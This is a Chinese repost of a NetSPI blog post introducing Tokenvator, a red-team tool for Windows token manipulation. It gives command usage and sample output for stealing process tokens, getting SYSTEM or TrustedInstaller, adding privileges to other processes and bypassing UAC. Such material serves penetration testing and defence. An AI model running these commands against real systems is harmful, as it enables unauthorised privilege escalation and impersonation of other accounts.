Tokenvator:使用Windows令牌提升权限的工具

WheresMyImplant是我过去一年在.NET中开发的迷你红队工具包。在开发和使用它时,我发现我一直需要改变我的进程访问令牌,以执行诸如SYSTEM权限或为我的进程添加调试权限等功能。用于此目的的图书馆扩展到了与独立工具包一样有用的地步。这就是我创建Tokenvator的原因。这是我在.NET中编写的一个简单工具,可用于在Windows上提升适当的权限。它通过冒充或改变执行进程具有适当级别的权限的进程中的身份验证令牌起作用。

Tokenvator可以从发布部分的https://github.com/0xbadjuju/Tokenvator下载。编译指令可以在页面底部的GitHub上找到。

基本用法

Tokenvator可以在交互式提示符下运行,或者命令可以作为命令行参数提供。在交互模式下,base命令将完成标签,双标签提供上下文特定的帮助。

C:\Users\badjuju>Tokenvator.exe
(Tokens) > help
Name                     Optional            Required
----                     --------            --------
GetSystem                Command             -
GetTrustedInstaller      Command             -
Steal_Token              Command             ProcessID
BypassUAC                ProcessID           Command
List_Privileges          ProcessID           -
Set_Privilege            ProcessID           Privilege
List_Processes           -                   -
List_Processes_WMI       -                   -
Find_User_Processes      -                   User
Find_User_Processes_WMI  -                   User
List_User_Sessions       -                   -
WhoAmI                   -                   -
RevertToSelf             -                   -
Run                      -                   Command

(Tokens) > WhoAmI
Name                     Optional            Required
----                     --------            --------
WhoAmI                   -                   -

(Tokens) > WhoAmI
[*] Operating as LAB\badjuju

虽然大多数屏幕截图都会显示从交互式(标记)>提示符运行的命令,但可以将所有命令作为参数运行。

Steal_Token

在最基本的层面上,Tokenvator用于访问和操作Windows身份验证令牌。为了适应另一个进程的标记,我们可以运行带有目标进程PID的Steal_Token命令。

(Tokens) > Steal_Token
Name                     Optional            Required
----                     --------            --------
Steal_Token              Command             ProcessID

(Tokens) > Steal_Token 7384
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Impersonating 7384
[+] Recieved Handle for:  (7384)
[+] Process Handle: 824
[+] Primary Token Handle: 828
[+] Duplicate Token Handle: 824

(Tokens) > whoami
[*] Operating as lab\backup

我们还可以选择添加一个要运行的命令,该命令将与新的访问令牌一起启动。

(Tokens) > Steal_Token 7384 powershell.exe
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[+] Recieved Handle for:  (7384)
[+] Process Handle: 860
[+] Primary Token Handle: 864
[+] Duplicate Token Handle: 860
[*] CreateProcessWithTokenW
[+] Created process: 14524
[+] Created thread: 18784
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> whoami
lab\backup
PS C:\WINDOWS\system32> $pid
14524 

GetSystem

我需要窃取的最常见的令牌是NT AUTHORITY \ SYSTEM帐户。GetSystem命令被创建为一个包装器,用于Steal_Token自动查找和访问SYSTEM令牌。它使用与Steal_Token相同的语法。注意:这需要从提升的上下文中运行。

(Tokens) > GetSystem
[*] Adjusting Token Privilege
[+] Received luid
[*] AdjustTokenPrivilege
[+] Adjusted Token to: SeDebugPrivilege
[*] Searching for NT AUTHORITY\SYSTEM
[*] Examining 344 processes
[*] Discovered 118 processes
[*] Impersonating 5488
[+] Recieved Handle for:  (5488)
[+] Process Handle: 888
[*] Impersonating 4444
[+] Recieved Handle for:  (4444)
[+] Process Handle: 868
[+] Primary Token Handle: 904
[+] Duplicate Token Handle: 868

(Tokens) > WhoAmI
[*] Operating as NT AUTHORITY\SYSTEM

(Tokens) > RevertToSelf
[*] Reverted token to lab\badjuju

我发现我无法直接访问某些进程的标记,除非我已经首先升级到SYSTEM。NT SERVICE帐户的例子是本地SQL服务进程。如果本地SYSTEM帐户在数据库上不具有SYSADMIN权限,则这可能是必需的。Scott Sutherland在这篇博客中更多地谈到这一点。

GetTrustedInstaller

SYSTEM32文件夹或部分注册表中的文件通常由TRUSTEDINSTALLER组拥有。要操纵这些位置的内容,我们可以拥有所有权或获取具有TRUSTEDINSTALLER组中的成员身份的访问令牌。与GetSystem类似,GetTrustedInstaller是一个用于启动TrustedInstaller服务的Steal_Token的包装,并将其用作令牌。

List_Privileges和Set_Privilege

有时我们的流程没有我们完成任务所需的特定访问权限。例如,要访问当前用户不拥有的进程,需要SeDebugPrivilege。下面显示的是高完整性流程中的拆分令牌(UAC Elevated – TokenElevationTypeFull)

在这里,我们可以看到在中等完整性过程中分配给拆分令牌的默认特权(UAC Not Elevated – TokenElevationTypeLimited)

对于这个功能,我们不仅限于我们自己的过程让我们来看看当以管理员身份运行时,notepad.exe的令牌的外观。注意:要访问不属于当前用户的进程,必须在当前进程上启用SeDebugPrivilege。

审查了notepad.exe的令牌后,我们可以远程更改它的权限。让我们将SeLoadDriverPrivilege添加到该标记并查看会发生什么。注意:特权名称区分大小写。

果然,notepad.exe现在可以加载驱动程序,用于任何可能需要的有趣用例。在将来,删除权限的能力将被添加。

BypassUAC

UAC绕过这一点已经变得充足,但是更有趣的一个来自操纵令牌。FuzzySecurity在使用Windows令牌的UAC旁路方法上做了一些非常有趣的工作。Tokenvator包含他发布的技术的实现。下面,我们的非特权令牌可以用来访问我们当前用户拥有的高级进程并产生一个提升的shell。

虽然这种方法可能不会在不久的将来修补,但它并非没有局限性。从下面可以看出,虽然进程是高度完整的,但分配给令牌的权限仍然有限。

查找用户进程

为了在系统上找到用户,有多种识别方法。首先,我们可以查看系统上的注册会话。

(Tokens) > List_User_Sessions
User                          SessionID
----                          ---------
0
badjuju                       1
backup                        2

我想要的一个功能是能够获取用户进程的摘要视图,以获取用户样本和他们拥有的进程。这是List_Processes命令完成的。

(Tokens) > List_Processes
User                                    Process ID          Process Name
----                                    ----------          ------------
lab\badjuju                             4000                conhost

List_Processes利用主机上的本地API,并且在列出进程和所有者的摘要时非常快速。到目前为止,除非从较高的环境中运行,否则它将无法正常运行。因此,List_Processes_WMI已包含在内。正如名字可能暗示的那样,这是通过WMI运作的。虽然没有List_Processes那么快,但它可以从非升级的上下文中提供更透彻的视图。

(Tokens) > List_Processes_WMI
[*] Examining 102 processes
User                                    Process ID          Process Name
----                                    ----------          ------------
\                                       0                   Idle
LAB\BADJUJU                             448                 taskhost
LOCAL\0XBADJUJU                         1568                cmd

或者我们可以轮询系统以查找在特定用户的上下文中运行的所有进程。注意:从初始版本开始,完整用户名是必需的。

(Tokens) > Find_User_Processes WINDOWS7ENTERPR\BADJUJU
[*] Examining 100 processes
[*] Discovered 29 processes
Process ID                    Process Name
----------                    ------------
3268                          calc
3520                          cmd
2604                          cmd
4000                          conhost
4664                          conhost
920                           conhost
1972                          conhost
4928                          conhost
2760                          conhost
656                           dwm
1776                          explorer
5048                          msvsmon
5352                          msvsmon
3412                          notepad
3552                          powershell
3116                          powershell_ise
2464                          rdpclip
4820                          rundotnetdll32
3944                          taskhost
448                           taskhost
3424                          Tokenvator
4892                          VCSExpress
与List_Processes类似,通过WMI包含完成相同任务的机制。这也将在没有升高的情况下工作。

(Tokens) > Find_User_Processes_WMI LOCAL\0xBADJUJU
[*] Examining 102 processes
[*] Discovered 31 processes
Process ID                    Process Name
----------                    ------------
1568                          cmd.exe
2108                          conhost.exe
1936                          procexp64.exe
3544                          cmd.exe
3608                          conhost.exe
3892                          x64dbg.exe

我为自己和NetSPI团队制作了这个程序,但希望它对其他人有用。如果您有任何错误,提交或功能请求让我知道。都欢迎。


转载请注明出处: https://www.freearoot.com/index.php/tokenvator:使用windows令牌提升权限的工具/
文章来源:https://blog.netspi.com/tokenvator-a-tool-to-elevate-privilege-using-windows-tokens/